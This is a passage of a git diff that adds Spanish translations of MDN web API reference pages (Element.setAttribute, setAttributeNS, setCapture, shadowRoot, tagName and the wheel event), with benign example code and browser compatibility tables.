+            alert('Sin desobordamiento!');
+        }
+    }
+
+    buttonOne.addEventListener('click', function() {
+        alertOverflow(divOne);
+    });
+
+    buttonTwo.addEventListener('click', function() {
+        alertOverflow(divTwo);
+    });
+&lt;/script&gt;
+&lt;/html&gt;
+
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollwidth", "Element.scrollWidth")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.scrollWidth")}}</p>
+
+ <h2 id="See_also" name="See_also">Ver también</h2>
+
+
+<ul>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determinando las dimensiones de elementos</a></li>
+</ul>
diff --git a/files/es/web/api/element/setattribute/index.html b/files/es/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..725efd11fc
--- /dev/null
+++ b/files/es/web/api/element/setattribute/index.html
@@ -0,0 +1,88 @@
+---
+title: Element.setAttribute
+slug: Web/API/Element/setAttribute
+tags:
+  - API
+  - DOM
+  - Elemento
+  - NeedsBrowserCompatibility
+  - NeedsSpecTable
+  - Referencia
+  - metodo
+  - setAttribute
+translation_of: Web/API/Element/setAttribute
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Establece el valor de un atributo en el elemento indicado. Si el atributo ya existe, el valor es actualizado, en caso contrario, el nuevo atributo es añadido con el nombre y valor indicado.</p>
+
+<p>Para obtener el valor actual de un atributo, se utiliza {{domxref("Element.getAttribute", "getAttribute()")}}; para eliminar un atributo, se llama a {{domxref("Element.removeAttribute", "removeAttribute()")}}.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>Element</em>.setAttribute(<em>name</em>, <em>value</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Un {{domxref("DOMString")}} indicando el nombre del atributo cuyo valor se va a cambiar. El nombre del atributo se convierte automáticamente en minúsculas cuando <code>setAttribute()</code> se llama sobre un elemento HTML en un documento HTML.</dd>
+ <dt><code>value</code></dt>
+ <dd>Un {{domxref("DOMString")}} que contenga el valor que asignar al atributo. Cualquier valor indicado que no sea una cadena de texto se convierte automáticamente en una cadena de texto.</dd>
+</dl>
+
+<p>Los atributos booleanos se consideran <code>true</code> si al menos están presentes en el elemento, independientemente de su <code>value</code> actual; como regla, se debería especificar una cadena de texto vacía (<code>""</code>) en <code>value</code> (algunas personas utilizan el nombre del atributo; esto funciona pero no es un standard). Vea un {{anch("Ejemplo", "ejemplo")}} posterior para una demostración práctica.</p>
+
+<p>Dado que <code>value</code> se convierte en una cadena de texto, indicando <code>null</code> no necesariamente hace lo que se espera. En lugar de eliminar el atributo o establecer su valor para ser {{jsxref("null")}}, establece el valor del atributo a la cadena de texto <code>"null"</code>. Si se desea eliminar un atributo, se debe llamar a {{domxref("Element.removeAttribute", "removeAttribute()")}}.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>InvalidCharacterError</code></dt>
+ <dd>El atributo especificado <code>name</code> contiene uno o más caracteres que no son válidos en el nombre del atributo.</dd>
+</dl>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<p>En el siguiente ejemplo, <code>setAttribute()</code> se utiliza para establecer atributos en un {{HTMLElement("button")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button&gt;Hola Mundo&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js">var b = document.querySelector("button");
+
+b.setAttribute("name", "helloButton");
+b.setAttribute("disabled", "");
+</pre>
+
+<p>Esto demuestra dos cosas:</p>
+
+<ul>
+ <li>La primera llamada a <code>setAttribute()</code> muestra cómo se cambia el valor del atributo <code>name</code> a "helloButton". Puede ver esto utilizando el inspector de página de su navegador (<a href="https://developers.google.com/web/tools/chrome-devtools/inspect-styles/?hl=es">Chrome</a>, <a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide">Edge</a>, <a href="/es/docs/Tools/Page_Inspector">Firefox</a>, <a href="https://developer.apple.com/library/content/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html">Safari</a>).</li>
+ <li>Para establecer el valor de un atributo booleano, como <code>disabled</code>, se puede especificar cualquier valor. Una cadena de texto vacía o el nombre de un atributo son valores recomendados. Todo lo que importa es que si el atributo está presente, <em>independientemente de su valor actual</em>, su valor se considera como <code>true</code>. La ausencia del atributo significa que su valor es <code>false</code>. Estableciendo una cadena vacía (<code>""</code>) como el valor del atributo <code>disabled</code>, se estaría cambiando <code>disabled</code> a <code>true</code>, lo que provoca que el botón sea deshabilitado.</li>
+</ul>
+
+<p>{{ EmbedLiveSample('Example', '300', '50') }}</p>
+
+<p>{{DOMAttributeMethods}}</p>
+
+<h2 id="Especificación" name="Especificación">Especificación</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (introducido en <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents" title="http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents">HTML5: APIs en documentos HTML</a></li>
+</ul>
+
+<h2 id="Compatibilidad con navegadores" name="Compatibilidad con navegadores">Compatibilidad con navegadores</h2>
+
+<h3 id="Notas" name="Notas">Notas Gecko</h3>
+
+<p>Utilizando <code>setAttribute()</code> para modificar ciertos atributos, el más notable es <code>value</code> en XUL, funciona de forma inconsistente, ya que el atributo especifica el valor determinado. Para acceder o modificar los valores actuales, se deben utilizar las propiedades. Por ejemplo, utilizar <code>Element.value</code> en lugar de <code>Element.setAttribute()</code>.</p>
diff --git a/files/es/web/api/element/setattributens/index.html b/files/es/web/api/element/setattributens/index.html
new file mode 100644
index 0000000000..59a4d9809e
--- /dev/null
+++ b/files/es/web/api/element/setattributens/index.html
@@ -0,0 +1,33 @@
+---
+title: Element.setAttributeNS()
+slug: Web/API/Element/setAttributeNS
+translation_of: Web/API/Element/setAttributeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>setAttributeNS añade un nuevo atributo o cambia el valor de un atributo con el namespace dado y el nombre.</code></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval"><em>elemento</em>.setAttributeNS(<em>namespace</em>,<em>nombre</em>,<em>valor</em>)
+</pre>
+
+<ul>
+ <li><code>namespace</code> es un string especificando el namespace del atributo.</li>
+ <li><code>name es un string identificando el atributo a ser puesto.</code></li>
+ <li><code>value es el string del valor deseado del nuevo atributo.</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="eval">var d = document.getElementById("d1");
+d.setAttributeNS("<span class="nowiki">http://www.mozilla.org/ns/specialspace</span>", "align", "center");
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAttrNS">DOM Level 2 Core: setAttributeNS</a></p>
diff --git a/files/es/web/api/element/setcapture/index.html b/files/es/web/api/element/setcapture/index.html
new file mode 100644
index 0000000000..b0c3ef52ab
--- /dev/null
+++ b/files/es/web/api/element/setcapture/index.html
@@ -0,0 +1,86 @@
+---
+title: Element.setCapture()
+slug: Web/API/Element/setCapture
+tags:
+  - API
+  - DOM
+  - Element
+  - Método(2)
+  - Referencia
+translation_of: Web/API/Element/setCapture
+---
+<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("2.0") }}</p>
+
+<p><span id="result_box" lang="es"><span>Llame a este método durante el manejo de un evento mousedown para redirigir todos los eventos de mouse a este elemento hasta que se suelte el botón del mouse o se llame {{domxref ( "document.releaseCapture ()")}}.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Sintasix</h2>
+
+<pre class="eval">element.setCapture(<em>retargetToElement</em>);
+</pre>
+
+<dl>
+ <dt><code>retargetToElement</code></dt>
+ <dd><span id="result_box" lang="es">     <span>Si es verdadero, todos los eventos se dirigen directamente a este elemento;</span> <span>Si es falso, los eventos también pueden descargar a los descendientes de este elemento.</span></span></dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p><span id="result_box" lang="es"><span>En este ejemplo, las coordenadas actuales del mouse se dibujan mientras situas el mouse alrededor después de hacer clic y mantener pulsado un elemento.</span></span></p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Mouse Capture Example&lt;/title&gt;
+  &lt;style type="text/css"&gt;
+    #myButton {
+      border: solid black 1px;
+      color: black;
+      padding: 2px;
+      -moz-box-shadow:black 2px 2px;
+    }
+  &lt;/style&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function init() {
+      var btn = document.getElementById("myButton");
+      btn.addEventListener("mousedown", mouseDown, false);
+      btn.addEventListener("mouseup", mouseUp, false);
+    }
+
+    function mouseDown(e) {
+      e.target.setCapture();
+      e.target.addEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseUp(e) {
+      e.target.removeEventListener("mousemove", mouseMoved, false);
+    }
+
+    function mouseMoved(e) {
+      var output = document.getElementById("output");
+      output.innerHTML = "Position: " + e.clientX + ", " + e.clientY;
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init()"&gt;
+  &lt;p&gt;This is an example of how to use mouse capture on elements in Gecko 2.0.&lt;/p&gt;
+  &lt;p&gt;&lt;a id="myButton" href="#"&gt;Test Me&lt;/a&gt;&lt;/p&gt;
+  &lt;div id="output"&gt;No events yet&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><a href="/samples/domref/mousecapture.html">Ver ejemplo en vivo</a></p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><span id="result_box" lang="es"><span>El elemento no puede desplazarse completamente hacia arriba o hacia abajo dependiendo del diseño de otros elementos.</span></span></p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>Ninguna.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("document.releaseCapture()") }}</li>
+</ul>
diff --git a/files/es/web/api/element/shadowroot/index.html b/files/es/web/api/element/shadowroot/index.html
new file mode 100644
index 0000000000..17af57bb3c
--- /dev/null
+++ b/files/es/web/api/element/shadowroot/index.html
@@ -0,0 +1,83 @@
+---
+title: Element.shadowRoot
+slug: Web/API/Element/shadowRoot
+translation_of: Web/API/Element/shadowRoot
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+
+
+<p>La propiedad de solo lectura 'Element.shadowRoot' representa el shadow root alojado por el elemento. Use {{DOMxRef("Element.attachShadow()")}} para agregar un shadow root a un elemento existente.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>shadowroot =</em><em> element</em>.shadowRoot;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{DOMxRef("ShadowRoot")}} object instance, or <code>null</code> if the associated shadow root was attached with its {{DOMxRef("ShadowRoot.mode", "mode")}} set to <code>closed</code>. (See {{DOMxRef("Element.attachShadow()")}} for further details).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following snippets are taken from our <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> example (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks">see it live also</a>), which creates an element that displays a square of a size and color specified in the element's attributes.</p>
+
+<p>Inside the <code>&lt;custom-square&gt;</code> element's class definition we include some life cycle callbacks that make a call to an external function, <code>updateStyle()</code>, which actually applies the size and color to the element. You'll see that we are passing it <code>this</code> (the custom element itself) as a parameter.</p>
+
+<pre class="brush: js">connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}
+
+attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}</pre>
+
+<p>In the <code>updateStyle()</code> function itself, we get a reference to the shadow DOM using {{domxref("Element.shadowRoot")}}. From here we use standard DOM traversal techniques to find the {{htmlelement("style")}} element inside the shadow DOM and then update the CSS found inside it:</p>
+
+<pre class="brush: js">function updateStyle(elem) {
+  const shadow = elem.shadowRoot;
+  const childNodes = Array.from(shadow.childNodes);
+
+  childNodes.forEach(childNode =&gt; {
+    if (childNode.nodeName === 'STYLE') {
+      childNode.textContent = `
+        div {
+          width: ${elem.getAttribute('l')}px;
+          height: ${elem.getAttribute('l')}px;
+          background-color: ${elem.getAttribute('c')};
+        }
+      `;
+    }
+  });
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-shadowroot', 'shadowRoot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.shadowRoot")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("Element.openOrClosedShadowRoot")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/api/element/tagname/index.html b/files/es/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..5f522efc3e
--- /dev/null
+++ b/files/es/web/api/element/tagname/index.html
@@ -0,0 +1,44 @@
+---
+title: element.tagName
+slug: Web/API/Element/tagName
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element/tagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve el nombre del elemento.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>elementName</em> = element.tagName
+</pre>
+
+<ul>
+ <li><code>elementName</code> es una cadena que contiene el nombre del elemento actual.</li>
+</ul>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>En XML (y los lenguajes basados en XML tales como XHTML) el código <code>tagName</code> es sensible a las mayúsculas. En HTML, <code>tagName</code> devuelve el nombre del elemento en forma canonica, es decir con todas sus letras en mayúscula. El valor del código of <code>tagName</code> es el mismo que el de la instrucción <a href="es/DOM/element.nodeName">nodeName</a>.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p>Si tenemos la siguiente línea de código:</p>
+
+<pre class="eval">&lt;span id="born"&gt;Cuando yo nací...&lt;/span&gt;
+</pre>
+
+<p>y el siguiente script</p>
+
+<pre class="eval">var span = document.getElementById("born");
+alert(span.tagName);
+</pre>
+
+<p>en XHTML (o alguna otra forma de XML) el resultado de la alerta será el contenido de "span". En HTML, el contenido será el de "SPAN".</p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-104682815">DOM Level 2 Core: tagName</a></p>
diff --git a/files/es/web/api/element/wheel_event/index.html b/files/es/web/api/element/wheel_event/index.html
new file mode 100644
index 0000000000..6b4e69d173
--- /dev/null
+++ b/files/es/web/api/element/wheel_event/index.html
@@ -0,0 +1,320 @@
+---
+title: wheel
+slug: Web/API/Element/wheel_event
+tags:
+  - eventos
+translation_of: Web/API/Element/wheel_event
+---
+<p>El evento "wheel" se dispara cuando la ruleta de un dispositivo (usualmente un ratón) gira. Este evento reemplaza al ahora obsoleto evento {{event("mousewheel")}}.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("WheelEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Sincronía</dt>
+ <dd style="margin: 0 0 0 120px;">asíncrono</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubble</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView, Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción predet.</dt>
+ <dd style="margin: 0 0 0 120px;">Scroll, atras/adelante (historial), o zoom.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Este evento implementa las propiedades de:  {{domxref("WheelEvent")}}, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></p>
+
+<h3 id="Propiedades_de_WheelEvent">Propiedades de <code>WheelEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/WheelEvent", "Properties")}}</p>
+
+<h3 id="Propiedades_de_MouseEvent">Propiedades de <code>MouseEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/MouseEvent", "Properties")}}</p>
+
+<h3 id="Propiedades_UIEvent">Propiedades <code>UIEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/UIEvent", "Properties")}}</p>
+
+<h3 id="Propiedades_Event">Propiedades <code>Event</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/Event", "Properties")}}</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Este evento implementa los métodos de:  {{domxref("WheelEvent")}}, {{domxref("MouseEvent")}}, {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></p>
+
+<h3 id="Métodos_de_WheelEvent">Métodos de <code>WheelEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/WheelEvent", "Methods")}}</p>
+
+<h3 id="Métodos_de_MouseEvent">Métodos de <code>MouseEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/MouseEvent", "Methods")}}</p>
+
+<h3 id="Métodos_de_UIEvent">Métodos de <code>UIEvent</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/UIEvent", "Methods")}}</p>
+
+<h3 id="Métodos_de_Event">Métodos de <code>Event</code></h3>
+
+<p>{{page("/en-US/docs/Web/API/Event", "Methods")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','DOM3-Events.html#event-type-wheel','wheel')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>31</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17.0")}}</td>
+   <td>{{CompatIE("9.0")}}<sup>[1]</sup></td>
+   <td>18</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("17.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer solo toma el evento "wheel" mediante <code>addEventListener</code>, no se permite el atributo <code>onwheel</code> en objetos del DOM. <a href="https://connect.microsoft.com/IE/feedback/details/782835/missing-onwheel-attribute-for-the-wheel-event-although-its-supported-via-addeventlistener">Bug report.</a><br>
+  </p>
+
+<h3 id="Escuchar_al_evento_en_distintos_navegadores">Escuchar al evento en distintos navegadores</h3>
+
+<p>En el siguiente script se crea el método multi-navegador <code>addWheelListener </code>que permite escuchar el evento wheel en diferentes navegadores a la vez que se previene el funcionamiento por defecto.</p>
+
+<pre class="brush:js;">// crea el metodo "addWheelListener" global
+// ejemplo: addWheelListener( elem, function( e ) { console.log( e.deltaY ); e.preventDefault(); } );
+(function(window,document) {
+
+    var prefix = "", _addEventListener, support;
+
+    // detecta el tipo de evento permitido por el navegador
+    if ( window.addEventListener ) {
+        _addEventListener = "addEventListener";
+    } else {
+        _addEventListener = "attachEvent";
+        prefix = "on";
+    }
+
+    // detecta el tipo de evento wheel manejado por el navegador
+    support = "onwheel" in document.createElement("div") ? "wheel" : // Los navegadores modernos permiten "wheel"
+              document.onmousewheel !== undefined ? "mousewheel" : // Webkit e IE soportan al menos "mousewheel"
+              "DOMMouseScroll"; // Asumiremos que el resto de navegadores son Firefox antiguos
+
+    window.addWheelListener = function( elem, callback, useCapture ) {
+        _addWheelListener( elem, support, callback, useCapture );
+
+        // controlaremos MozMousePixelScroll en Firefox antiguos
+        if( support == "DOMMouseScroll" ) {
+            _addWheelListener( elem, "MozMousePixelScroll", callback, useCapture );
+        }
+    };
+
+    function _addWheelListener( elem, eventName, callback, useCapture ) {
+        elem[ _addEventListener ]( prefix + eventName, support == "wheel" ? callback : function( originalEvent ) {
+            !originalEvent &amp;&amp; ( originalEvent = window.event );
+
+            // Creamos un objeto de evento
+            var event = {
+                // tomamos como referencia el objeto original
+                originalEvent: originalEvent,
+                target: originalEvent.target || originalEvent.srcElement,
+                type: "wheel",
+                deltaMode: originalEvent.type == "MozMousePixelScroll" ? 0 : 1,
+                deltaX: 0,
+                deltaZ: 0,
+                preventDefault: function() {
+                    originalEvent.preventDefault ?
+                        originalEvent.preventDefault() :
+                        originalEvent.returnValue = false;
+                }
+            };
+
+            // calculamos deltaY (y deltaX) dependiendo del evento
+            if ( support == "mousewheel" ) {
+                event.deltaY = - 1/40 * originalEvent.wheelDelta;
+                // Webkit tambien soporta wheelDeltaX
+                originalEvent.wheelDeltaX &amp;&amp; ( event.deltaX = - 1/40 * originalEvent.wheelDeltaX );
+            } else {
+                event.deltaY = originalEvent.detail;
+            }
+
+            // Disparamos el callback
+            return callback( event );
+
+        }, useCapture || false );
+    }
+
+})(window,document);</pre>
+
+<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
+
+<h3 id="Orden_de_los_eventos_en_eventos_antiguos">Orden de los eventos en eventos antiguos</h3>
+
+<p>Si el evento wheel no ha sido implementado, los eventos <code>DOMMouseScroll</code> y <code>MozMousePixelScroll</code> se usarán para dar retrocompativilidad. Sus atributos se calculan dependiendo del delta del evento wheel y el padre más cercano. Si el evento wheel o alguno de los anteriores invoca<span style="line-height: 1.5;"> {{ domxref("event.preventDefault()") }}, no ocurrirá nada.</span></p>
+
+<p>El orden de ejecución del evento es:</p>
+
+<ol>
+ <li>Eventos wheel en grupo de eventos por defecto (aplicaciones web y add-ons pueden manejar los eventos de este grupo)</li>
+ <li><code>Un evento DOMMouseScroll</code> vertical en caso de que el deltaY, en consecutivas llamadas del evento se vuelva mayor que 1.0 o menor que -1.0</li>
+ <li><code>Un evento MozMousePixelScroll</code> vertical en caso de que el <code>deltaY</code> del último evento <code>wheel</code> no sea igual a cero</li>
+ <li><code>Un evento DOMMouseScroll</code> horizontal en caso de que el <code>deltaX</code> acumule un valor mayor que 1.0 o menor que -1.0</li>
+ <li><code>Un evento MozMousePixelScroll</code> horizontal en caso de que el <code>deltaX</code> del último evento no sea igual que cero</li>
+ <li>Un evento <code>wheel</code> en el grupo de sistema (Solamente add-ons pueden gestionar este grupo de eventos)</li>
+</ol>
+
+<p><br>
+ <span style="font-style: inherit; line-height: 1.5;">¿Qué ocurre si</span><strong style="font-style: inherit; font-weight: 700; line-height: 1.5;"> </strong><code style="font-weight: 700; line-height: 1.5;">preventDefault()</code><strong style="font-style: inherit; font-weight: 700; line-height: 1.5;"> es llamado?</strong></p>
+
+<table>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code>wheel</code> (grupo por defecto de evetos)</th>
+   <td><code>Se llama preventDefault()</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row"><code>DOMMouseScroll</code> (Vertical)</th>
+   <td>No se llama</td>
+   <td><code>Se llama preventDefault()</code></td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row"><code>MozMousePixelScroll</code> (Vertical)</th>
+   <td>No se llama</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>Se llama preventDefault()</code></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row"><code>DOMMouseScroll</code> (Horizontal)</th>
+   <td>No se llama</td>
+   <td>No se ve afectado</td>
+   <td>No se ve afectado</td>
+   <td><code>Se llama preventDefault()</code></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row"><code>MozMousePixelScroll</code> (Horizontal)</th>
+   <td>No se llama</td>
+   <td>No se ve afectado</td>
+   <td>No se ve afectado</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>Se llama preventDefault()</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><code>wheel</code> (grupo de eventos de sistema)</th>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+   <td><code>defaultPrevented</code> devuelve true</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En caso de que un Add-on necesite conocer si uno de los eventos legacy es usado por contenidos del DOM puede usar el evento wheel de #6. Lee la documentación de <a href="/en-US/docs/XPCOM_Interface_Reference/nsIEventListenerService" title="/en-US/docs/XPCOM_Interface_Reference/nsIEventListenerService"><code>nsIEventListenerService</code></a> para mayor detalle acerca del grupo de eventos de sistema.</p>
+
+<p>Los valores delta y las acciones por defecto de eventos predefinidos pueden ser personalizados en las preferencias de usuario (<a href="https://wiki.mozilla.org/Gecko:Mouse_Wheel_Scrolling#Preferences_for_customizing_delta_values_and_default_action" title="/en-US/docs/HTML/Element/details">details</a>). Por lo tanto, no se debe presuponer que alguna acción en concreto va a ocurrir tras recibir este evento.</p>
+
+<h3 id="Valores_delta">Valores delta</h3>
+
+<p>Los valores delta no indican la cantidad de scroll actual de manera predeterminada. Si el usuario presiona alguna tecla mdificadora mientras mueve la rueda de scroll, dicha acción puede causar otra totalmente diferente a la esperada, como ir adelante o atras por el historial o hacer zoom. Además, incluso cuando la acción sea la esperada, el elemento que la recibe puede ser distinto al deseado.<br>
+ El objetivo del evento wheel solo está definido por la posición del cursor en el momento que se dispara este.</p>
+
+<h3 id="El_valor_de_deltaMode">El valor de deltaMode</h3>
+
+<p>En Windows, los siguientes 3 eventos nativos del DOM causan eventos <code>wheel</code>.</p>
+
+<dl>
+ <dt>WM_MOUSEWHEEL (Evento wheel vertical del ratón)</dt>
+ <dd>El <code>deltaMode</code> puede ser <code>DOM_DELTA_LINE</code> o <code>DOM_DELTA_PAGE</code>. Depende de las preferencias de usuario en Windows (Para configuraciones por defecto, debería ser <code>DOM_DELTA_LINE</code>).</dd>
+ <dt>WM_MOUSEHWHEEL (Evento wheel horizontal del ratón)</dt>
+ <dd><code>EldeltaMode</code> puede ser <code>DOM_DELTA_LINE</code> o <code>DOM_DELTA_PAGE</code>. Sin embargo, ni la configuración de velocidad de rueda de ratón de Windows ni ningún UI similar de drivers permite modificar el scroll de páginas. De modo que, normalmente este valor es <code>DOM_DELTA_LINE</code>.</dd>
+ <dt>WM_GESTURE (Solo utilizado en navegación gestual)</dt>
+ <dd>El <code>deltaMode</code> es siempre <code>DOM_DELTA_PIXEL</code>. Pero la mayoría de dispositivos táctiles de portatiles emulan la rueda de ratón en lugar de usar este evento. Este evento es usado típicamente en Tablet PC.</dd>
+</dl>
+
+<p>En Mac, el valor de <code>deltaMode</code> depende del dispositivo. Si el dispositivo permite alta resolución, el scroll se hará en pixels, de manera que el valor del <code>deltaMode</code> será <code>DOM_DELTA_PIXEL</code>. De todos modos, el usuario puede cambiarlo a <code>DOM_DELTA_LINE</code> con la preferencia <code>"mousewheel.enable_pixel_scrolling"</code>.  Si el dispositivo no soporta alta resolución, es siembre <code>DOM_DELTA_LINE</code>.</p>
+
